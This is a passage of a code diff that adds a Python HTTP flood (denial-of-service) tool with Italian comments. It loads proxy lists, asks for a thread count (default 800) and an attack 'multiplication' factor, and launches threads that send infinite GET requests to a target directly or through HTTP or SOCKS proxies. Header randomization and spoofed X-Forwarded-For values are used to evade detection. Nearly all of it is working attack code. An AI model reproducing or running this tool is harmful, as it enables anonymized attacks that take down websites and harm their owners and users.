| ")
+ proxies = ""
+ for proxy in part:
+ proxy = proxy.split(" | ")
+ try:
+ proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
+ except:
+ pass
+ out_file = open("proxy.txt","w")
+ out_file.write("")
+ out_file.write(proxies)
+ out_file.close()
+ print ("Proxies downloaded successfully.")
+ except: # se succede qualche casino
+ print ("\nERROR!\n")
+ proxylist() # se va tutto liscio allora prosegue eseguendo la funzione proxylist()
+
+def proxylist():
+ global proxies
+ out_file = str(input("Enter the proxylist filename/path (proxy.txt): "))
+ if out_file == "":
+ out_file = "proxy.txt"
+ proxies = open(out_file).readlines()
+ numthreads()
+
+def numthreads():
+ global threads
+ try:
+ threads = int(input("Insert number of threads (800): "))
+ except ValueError:
+ threads = 800
+ print ("800 threads selected.\n")
+ multiplication()
+
+def multiplication():
+ global multiple
+ try:
+ multiple = int(input("Insert a number of multiplication for the attack [(1-5=normal)(50=powerful)(100 or more=bomb)]: "))
+ except ValueError:
+ print("You mistyped, try again.\n")
+ multiplication()
+ begin()
+
+def begin():
+ choice6 = input("Press 'Enter' to start attack: ")
+ if choice6 == "":
+ loop()
+ elif choice6 == "Enter": #lool
+ loop()
+ elif choice6 == "enter": #loool
+ loop()
+ else:
+ exit(0)
+
+def loop():
+ global threads
+ global acceptall
+ global connection
+ global go
+ global x
+
+ acceptall = [
+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
+ "Accept-Encoding: gzip, deflate\r\n",
+ "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
+ "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
+ "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
+ "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
+ "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
+ "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
+ "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
+ "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
+ "Accept: text/html, application/xhtml+xml",
+ "Accept-Language: en-US,en;q=0.5\r\n",
+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
+ "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
+ ] # header accept a caso per far sembrare le richieste più legittime
+ connection = "Connection: Keep-Alive\r\n" # la keep alive torna sempre utile lol
+ x = 0 # thanks therunixx, my friend
+ go = threading.Event()
+ if choice2 == "y": # se abbiamo scelto la modalita' proxying
+ if choice3 == "0": # e abbiamo scelto gli HTTP proxy
+ for x in range(threads):
+ RequestProxyHTTP(x+1).start() # starta la classe apposita
+ print ("Thread " + str(x) + " ready!")
+ go.set() # questo fa avviare i threads appena sono tutti pronti
+ else: # se abbiamo scelto i socks
+ for x in range(threads):
+ RequestSocksHTTP(x+1).start() # starta la classe apposita
+ print ("Thread " + str(x) + " ready!")
+ go.set() # questo fa avviare i threads appena sono tutti pronti
+ else: # altrimenti manda richieste normali non proxate.
+ for x in range(threads):
+ RequestDefaultHTTP(x+1).start() # starta la classe apposita
+ print ("Thread " + str(x) + " ready!")
+ go.set() # questo fa avviare i threads appena sono tutti pronti
+
+
+class RequestProxyHTTP(threading.Thread): # la classe del multithreading
+
+ def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
+ threading.Thread.__init__(self)
+ self.counter = counter
+
+ def run(self): # la funzione che da' le istruzioni ai vari threads
+ useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta useragent a caso
+ accept = random.choice(acceptall) # scelta header accept a caso
+ randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255))
+ forward = "X-Forwarded-For: " + randomip + "\r\n" # X-Forwarded-For, un header HTTP che permette di incrementare anonimato (vedi google per info)
+ if choice1 == "1":
+ ip = random.choice(ips)
+ get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
+ else:
+ get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
+ request = get_host + useragent + accept + forward + connection + "\r\n" # ecco la final request
+ current = x # per dare l'id al thread
+ if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
+ proxy = proxies[current].strip().split(':')
+ else: # altrimenti lo prende a random
+ proxy = random.choice(proxies).strip().split(":")
+ go.wait() # aspetta che i threads siano pronti
+ while True: # ciclo infinito
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ecco il nostro socket
+ s.connect((str(proxy[0]), int(proxy[1]))) # connessione al proxy
+ s.send(str.encode(request)) # encode in bytes della richiesta HTTP
+ print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print delle richieste
+ try: # invia altre richieste nello stesso thread
+ for y in range(multiple): # fattore di moltiplicazione
+ s.send(str.encode(request)) # encode in bytes della richiesta HTTP
+ except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
+ s.close()
+ except:
+ s.close() # se qualcosa va storto, chiude il socket e il ciclo ricomincia
+
+class RequestSocksHTTP(threading.Thread): # la classe del multithreading
+
+ def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
+ threading.Thread.__init__(self)
+ self.counter = counter
+
+ def run(self): # la funzione che da' le istruzioni ai vari threads
+ useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta proxy a caso
+ accept = random.choice(acceptall) # scelta accept a caso
+ if choice1 == "1":
+ ip = random.choice(ips)
+ get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
+ else:
+ get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
+ request = get_host + useragent + accept + connection + "\r\n" # composizione final request
+ current = x # per dare l'id al thread
+ if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
+ proxy = proxies[current].strip().split(':')
+ else: # altrimenti lo prende a random
+ proxy = random.choice(proxies).strip().split(":")
+ go.wait() # aspetta che threads siano pronti
+ while True:
+ try:
+ socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per proxarci con i socks
+ s = socks.socksocket() # creazione socket con pysocks
+ s.connect((str(url2), int(urlport))) # connessione
+ s.send (str.encode(request)) # invio
+ print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
+ try: # invia altre richieste nello stesso thread
+ for y in range(multiple): # fattore di moltiplicazione
+ s.send(str.encode(request)) # encode in bytes della richiesta HTTP
+ except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
+ s.close()
+ except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
+ s.close() # chiude socket
+ try: # il try prova a vedere se l'errore e' causato dalla tipologia di socks errata, infatti prova con SOCKS4
+ socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # prova con SOCKS4
+ s = socks.socksocket() # creazione nuovo socket
+ s.connect((str(url2), int(urlport))) # connessione
+ s.send (str.encode(request)) # invio
+ print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
+ try: # invia altre richieste nello stesso thread
+ for y in range(multiple): # fattore di moltiplicazione
+ s.send(str.encode(request)) # encode in bytes della richiesta HTTP
+ except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
+ s.close()
+ except:
+ print ("Sock down. Retrying request. @", self.counter)
+ s.close() # se nemmeno con quel try si e' riuscito a inviare niente, allora il sock e' down e chiude il socket.
+
+class RequestDefaultHTTP(threading.Thread): # la classe del multithreading
+
+ def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
+ threading.Thread.__init__(self)
+ self.counter = counter
+
+ def run(self): # la funzione che da' le istruzioni ai vari threads
+ useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # useragent a caso
+ accept = random.choice(acceptall) # accept a caso
+ if choice1 == "1":
+ ip = random.choice(ips)
+ get_host = "GET " + ip + " HTTP/1.1\r\nHost: " + ip + "\r\n"
+ else:
+ get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
+ request = get_host + useragent + accept + connection + "\r\n" # composizione final request
+ go.wait() # aspetta che i threads siano pronti
+ while True:
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione socket
+ s.connect((str(url2), int(urlport))) # connessione
+ s.send (str.encode(request)) # invio
+ print ("Request sent! @", self.counter) # print req + counter
+ try: # invia altre richieste nello stesso thread
+ for y in range(multiple): # fattore di moltiplicazione
+ s.send(str.encode(request)) # encode in bytes della richiesta HTTP
+ except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
+ s.close()
+ except: # se qualcosa va storto
+ s.close() # chiude socket e ricomincia
+
+
+if __name__ == '__main__':
+ starturl() # questo fa startare la prima funzione del programma, che a sua volta ne starta un altra, poi un altra, fino ad arrivare all'attacco.
\ No newline at end of file
|